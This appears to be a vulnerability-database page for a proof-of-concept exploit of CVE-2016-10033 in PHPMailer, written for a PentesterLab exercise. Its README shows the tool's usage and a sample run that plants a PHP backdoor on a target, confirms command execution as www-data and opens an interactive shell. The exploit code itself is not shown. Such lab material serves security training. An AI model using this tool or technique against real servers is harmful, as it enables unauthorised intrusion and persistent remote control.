CVE-2016-10033 PoC — PHPMailer 安全漏洞

Source

Associated Vulnerability

Description

A PoC of CVE-2016-10033 I made for PentesterLab 

Readme

# CVE-2016-10033-PoC

Wrote this for PentesterLab

> If you are from PentesterLab's don't cheat, it's alot better to learn.

Hope it's useful to someone, if not to me in the future :)

Has interactive shell, nice argparse stuff asw

## Usage
```
usage: poc.py [-h] [--target TARGET] [--backdoor BACKDOOR] [--proxy] [--raw] [--no-color]

options:
  -h, --help           show this help message and exit
  --target TARGET      Target URL
  --backdoor BACKDOOR  Backdoor path
  --proxy              Use local proxy
  --raw                Show raw output
  --no-color           Disable colored output
```

## Example
```bash
$ python3 poc.py --target http://localhost:8000 --proxy
[+] Using random backdoor name: caxvcs009f.php
[+] Sending exploit to target...
[+] Testing backdoor...
[+] Backdoor working! Test output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
www-data
```

File Snapshot

 [4.0K]  /data/pocs/ae9bc2f284f89c4e0ff3641ac54af50d467cadcb
├── [ 34K]  LICENSE
├── [1007]  README.md
├── [  88]  requirements.txt
└── [5.5K]  script.py

0 directories, 4 files

Remarks